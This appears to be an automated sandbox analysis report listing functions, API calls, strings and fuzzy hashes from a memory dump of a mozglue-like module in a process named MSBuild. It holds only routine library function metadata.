Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 4a79925d2a30b0fe20490cf2c65c9d0e901e1e3b122136a8a934ab614c267027
Instruction ID: 0effd526d604d4f894cfc602c5c5d22efd31f64952547e14c440edd0dc75ef84
Opcode Fuzzy Hash: 4a79925d2a30b0fe20490cf2c65c9d0e901e1e3b122136a8a934ab614c267027
Instruction Fuzzy Hash: EC419D71909745CFC701CF38C481E9BBBE4AF8E349F018A1DF985A7611E730D9598B86

Function 6C4EF180 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(?,?), ref: 6C4EF19B

Part of subcall function 6C50D850: EnterCriticalSection.KERNEL32(?), ref: 6C50D904
Part of subcall function 6C50D850: LeaveCriticalSection.KERNEL32(?), ref: 6C50D971
Part of subcall function 6C50D850: memset.VCRUNTIME140(?,00000000,?), ref: 6C50D97B

mozalloc_abort.MOZGLUE(?), ref: 6C4EF209

Strings

d, xrefs: 6C4EF1F5

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterLeavecallocmemsetmozalloc_abort
String ID: d
API String ID: 3775194440-2564639436
Opcode ID: d1c9b4dfcfc8a2f408d2a5fd7dffd3e5a8683da78574f6f7ba6dd9e1eb1284a6
Instruction ID: 828b13f3545e637c634a9a27b1db00f93752708096625a4a6e03338c61a436e4
Opcode Fuzzy Hash: d1c9b4dfcfc8a2f408d2a5fd7dffd3e5a8683da78574f6f7ba6dd9e1eb1284a6
Instruction Fuzzy Hash: EF113A32B0664986EB04CF68DD619FEF379DF8A209B565129DC05ABB11EB31AD84C390

Function 6C523CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C523D19
mozalloc_abort.MOZGLUE(?), ref: 6C523D6C

Strings

d, xrefs: 6C523D58

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 94fdd5e4b2ba17aff0b10da1e6558912b7b8c811fe7ab0ee73581db6034f88ca
Instruction ID: 9c7dc3fea77d0369a86548943d69d7a6bda1077d7ae0260424fa753328c4c550
Opcode Fuzzy Hash: 94fdd5e4b2ba17aff0b10da1e6558912b7b8c811fe7ab0ee73581db6034f88ca
Instruction Fuzzy Hash: C2112736E04788D7DF01DB6DCC144EDB7B9EF86358B858228DC449BA52FB34A984C790

Function 6C501A50 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

realloc.MOZGLUE(?,?), ref: 6C501A6B

Part of subcall function 6C501AF0: EnterCriticalSection.KERNEL32(?), ref: 6C501C36

mozalloc_abort.MOZGLUE(?), ref: 6C501AE7

Strings

d, xrefs: 6C501AB1

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: CriticalEnterSectionmozalloc_abortrealloc
String ID: d
API String ID: 2670432147-2564639436
Opcode ID: 678fd149c39970b099786df5e45cc39d1a61aeb99f1562464d069435e71a4315
Instruction ID: 6fa4a997a8d863a74434edd8ad359cf72100f0f031e9e89bab26f390b524d495
Opcode Fuzzy Hash: 678fd149c39970b099786df5e45cc39d1a61aeb99f1562464d069435e71a4315
Instruction Fuzzy Hash: A011E032E0068897DB058BA9CD154FEB7B5EF85218F458619ED46ABB12EB70A984C381

Function 6C4F4730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C4F44B2,6C56E21C,6C56F7F8), ref: 6C4F473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C4F474A

Strings

GetNtLoaderAPI, xrefs: 6C4F4744

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 4146ad134780cb072280972e7fc7fd3b0cb432cdbab8708c48f7fcf8e8dcd325
Instruction ID: 9bbde400a8c7a82ec3842adf2ae4f8138e9b457d3cfd4cad132300ea66da52cf
Opcode Fuzzy Hash: 4146ad134780cb072280972e7fc7fd3b0cb432cdbab8708c48f7fcf8e8dcd325
Instruction Fuzzy Hash: 290196757012148FDF009FAA8C48A2977F9FB8B351B064066E905C7710DB74DC028FA5

Function 6C546DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C546E22
__Init_thread_footer.LIBCMT ref: 6C546E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C546E1D

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 41e43c6444f659f8ff88b4f1a47f3490a58c2ea758a7420b251d5205110c1992
Instruction ID: 01048fed121061183751ac615262d8ddfa92a0cd5dde527a0a0d8ebeb7a68e69
Opcode Fuzzy Hash: 41e43c6444f659f8ff88b4f1a47f3490a58c2ea758a7420b251d5205110c1992
Instruction Fuzzy Hash: 91F05936A05380CBEA00CB6ECC50FA333B16743318F051665C44187F71CB22B926CA97

Function 6C4F9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C4F9EEF

Strings

Infinity, xrefs: 6C4F9EB7
NaN, xrefs: 6C4F9EC1

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: b5589ba1210607bc4b55cd6f092d3f9aac4612a79a2dfb4f91b7b0eb9cce4207
Instruction ID: ee09b54d50f820f1b235ad930237631822285dd737ad9884398409cfd8db93f9
Opcode Fuzzy Hash: b5589ba1210607bc4b55cd6f092d3f9aac4612a79a2dfb4f91b7b0eb9cce4207
Instruction Fuzzy Hash: 8DF0AF72E00241CADB00CF1EDC49F6033B1B793309F221B19C5100BFA0D7367556CA8A

Function 6C4F6C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0KRl,?,6C524B30,80000000,?,6C524AB7,?,6C4E43CF,?,6C4E42D2), ref: 6C4F6C42

Part of subcall function 6C4FCA10: malloc.MOZGLUE(?), ref: 6C4FCA26

moz_xmalloc.MOZGLUE(0KRl,?,6C524B30,80000000,?,6C524AB7,?,6C4E43CF,?,6C4E42D2), ref: 6C4F6C58

Strings

0KRl, xrefs: 6C4F6C33, 6C4F6C41, 6C4F6C57

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0KRl
API String ID: 1967447596-1630099257
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 7ff7a8141ffbe31dd1ae5fd95d10abbee3074f2f565a50994c7c7651bd46e1af
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: 00E026F1E101400A9B08D878AC19EAB71C88B942E87044A39EC72C3BCCFA14E4528091

Function 6C545900 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

SetEnvironmentVariableW.KERNEL32(MOZ_SKELETON_UI_RESTARTING,6C5651C8), ref: 6C54591A
CloseHandle.KERNEL32(FFFFFFFF), ref: 6C54592B

Strings

MOZ_SKELETON_UI_RESTARTING, xrefs: 6C545915

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: CloseEnvironmentHandleVariable
String ID: MOZ_SKELETON_UI_RESTARTING
API String ID: 297244470-335682676
Opcode ID: cd3f6c9760fcb72ad609c0160f5d1f6e07e0a91744cc5c70a28c733a36aca901
Instruction ID: 86c9d1df49d577c777f1a6a1bd1b9134366b3733526c3b6e7d28b72993fd20b6
Opcode Fuzzy Hash: cd3f6c9760fcb72ad609c0160f5d1f6e07e0a91744cc5c70a28c733a36aca901
Instruction Fuzzy Hash: 70E0DF30205240BBCB019B6ECE087557FF89B27729F908A05F6A983EE2C3B5AC40C391

Function 6C4F3850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C56F860), ref: 6C4F385C
ReleaseSRWLockExclusive.KERNEL32(6C56F860,?), ref: 6C4F3871

Strings

,Vl, xrefs: 6C4F387A

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,Vl
API String ID: 17069307-1264242894
Opcode ID: 839b8dbc3c0d33cbc786de09d823871a726f9c55c6a4eb9cce0919e3c296fd99
Instruction ID: 4d0622affd8cec20ff24520f1cab7566df8a78e134acca99086cf617b563f1ab
Opcode Fuzzy Hash: 839b8dbc3c0d33cbc786de09d823871a726f9c55c6a4eb9cce0919e3c296fd99
Instruction Fuzzy Hash: BCE0D831D0661C978711DF5B8C01F9A7BF9EF836903054245F4191BF30C770D48286CA

Function 6C4FBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C4FBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C4FBEF5

Strings

cryptbase.dll, xrefs: 6C4FBEF0

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 26716faf96e3c4b6c0039b020e5ad8fce0887a2452078bfe5e542f39dd41a53e
Instruction ID: 453c907f6c8498046ef2d0d7c35363ba33252be2ddb7335792d92f0a240d1d3f
Opcode Fuzzy Hash: 26716faf96e3c4b6c0039b020e5ad8fce0887a2452078bfe5e542f39dd41a53e
Instruction Fuzzy Hash: 0ED0A731180108E6CA00FA558D05F2537749702315F10C021F31544961C7B09811DB44

Function 6C4E50E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C4E4E9C,?,?,?,?,?), ref: 6C4E510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C4E4E9C,?,?,?,?,?), ref: 6C4E5167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6C4E5196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C4E4E9C), ref: 6C4E5234

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: 2d64f8da296ed1ce04b678abb18b11814b8fc8ec2d7afcbf39120aee667e40bc
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: 26918E79905616CFCB14CF08C490E5ABBA1BF8D318B2A8589ED589B715D371FC42CBE1

Function 6C5208F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C56E7DC), ref: 6C520918
LeaveCriticalSection.KERNEL32(6C56E7DC), ref: 6C5209A6
EnterCriticalSection.KERNEL32(6C56E7DC,?,00000000), ref: 6C5209F3
LeaveCriticalSection.KERNEL32(6C56E7DC), ref: 6C520ACB

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 4c34bf15695b2748d68ba228a36169dbe8ae84e541b1793c5808622881120f55
Instruction ID: 8a654465b82ea55de2cea70b9153819377733e53d70435c19ec5c2a4880d4ef6
Opcode Fuzzy Hash: 4c34bf15695b2748d68ba228a36169dbe8ae84e541b1793c5808622881120f55
Instruction Fuzzy Hash: DE5128327035908BEB049A1ACC2463673F2EBC2B24766453BD96697FE0DB75EC4187C4

Function 6C5459C0 Relevance: 5.2, APIs: 4, Instructions: 155COMMON

Download Yara Rule

APIs

malloc.MOZGLUE(?,?,?,?,?,?,?,?,00000008,?,6C51E56A,?,|UrlbarCSSSpan,0000000E,?), ref: 6C545A47
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,00000008,?,6C51E56A,?,|UrlbarCSSSpan), ref: 6C545A5C
free.MOZGLUE(?), ref: 6C545A97
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000010), ref: 6C545B9D

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: free$mallocmemset
String ID:
API String ID: 2682772760-0
Opcode ID: 77d1230d87f9882c85b821822361a8415575be745b8389351d94e756141aa799
Instruction ID: 58a4d2978f71868349e1ab4148231920dba121d3fcbe0505dc8a7ad36f036f74
Opcode Fuzzy Hash: 77d1230d87f9882c85b821822361a8415575be745b8389351d94e756141aa799
Instruction Fuzzy Hash: AB515B706087409FD700CF2ACCC4A1ABBE5EF8A318F44C96DE8899B656D774E945CB62

Function 6C53B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C53B2C9,?,?,?,6C53B127,?,?,?,?,?,?,?,?,?,6C53AE52), ref: 6C53B628

Part of subcall function 6C5390E0: free.MOZGLUE(?,00000000,?,?,6C53DEDB), ref: 6C5390FF
Part of subcall function 6C5390E0: free.MOZGLUE(?,00000000,?,?,6C53DEDB), ref: 6C539108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C53B2C9,?,?,?,6C53B127,?,?,?,?,?,?,?,?,?,6C53AE52), ref: 6C53B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C53B2C9,?,?,?,6C53B127,?,?,?,?,?,?,?,?,?,6C53AE52), ref: 6C53B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C53B127,?,?,?,?,?,?,?,?), ref: 6C53B74D

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: b00bb930559113515b5635df35e856742ae41ef4727c4fbccf153f5bf250e365
Instruction ID: c334e161f3f8784123fcf3290633d8c03a658d53d7486fe335ad448db2a7d0fc
Opcode Fuzzy Hash: b00bb930559113515b5635df35e856742ae41ef4727c4fbccf153f5bf250e365
Instruction Fuzzy Hash: 7F51D2B1A01A258FDB14EF58CD8476EB7B1FF85304F05A52DC85EAB711EB31A814CBA1

Function 6C53DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C52FF2A), ref: 6C53DFFD

Part of subcall function 6C5390E0: free.MOZGLUE(?,00000000,?,?,6C53DEDB), ref: 6C5390FF
Part of subcall function 6C5390E0: free.MOZGLUE(?,00000000,?,?,6C53DEDB), ref: 6C539108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C52FF2A), ref: 6C53E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C52FF2A), ref: 6C53E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C52FF2A), ref: 6C53E0FE

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 00cd82d89ab9ae0bce3eb98d79b831e33ba502c11a169d196a6a8b8278a34dd5
Instruction ID: e662e6b75e01f8245f9a55f3f9e56e7d7db3a2b0aec9e94d9f58274cbc28d03c
Opcode Fuzzy Hash: 00cd82d89ab9ae0bce3eb98d79b831e33ba502c11a169d196a6a8b8278a34dd5
Instruction Fuzzy Hash: 0041C0B16042268FEB14CF68CC8036A73F2AB45308F154929D55ADB740F7B5ED05CBA2

Function 6C546180 Relevance: 5.1, APIs: 4, Instructions: 107COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C5461DD
memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C54622C
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C546250
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C546292

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 6d9c7431566529af9a754a7ffef9fb2b59313b63449db062fcfde8f83c7a66cb
Instruction ID: c16d0585278a547a64c86859bb3d74b7b04de8e69b854a00ec3b4db4566cdbdf
Opcode Fuzzy Hash: 6d9c7431566529af9a754a7ffef9fb2b59313b63449db062fcfde8f83c7a66cb
Instruction Fuzzy Hash: 9B31E371A04A0A8FDB04CF2CDC80BAA73E9FB95308F118539C55AD7662EB31E598C750

Function 6C536E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C536EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C536EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C536F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C536F5C

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: dc8ee08ae59615d380690ad8b8fb0c9f043470dacc7f8fe2ec9e6fddddec841b
Instruction ID: b6531c33461c042c7e8ac656a5a3c71f494b0567ddd0ac0daac6626e056e73f3
Opcode Fuzzy Hash: dc8ee08ae59615d380690ad8b8fb0c9f043470dacc7f8fe2ec9e6fddddec841b
Instruction Fuzzy Hash: 4731C171A1061A8FDB04CF2DCD806AA73E9BB84344F50453DD41AC7665FF31E6698791

Function 6C54B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C4F0A4D), ref: 6C54B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C4F0A4D), ref: 6C54B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C4F0A4D), ref: 6C54B66C
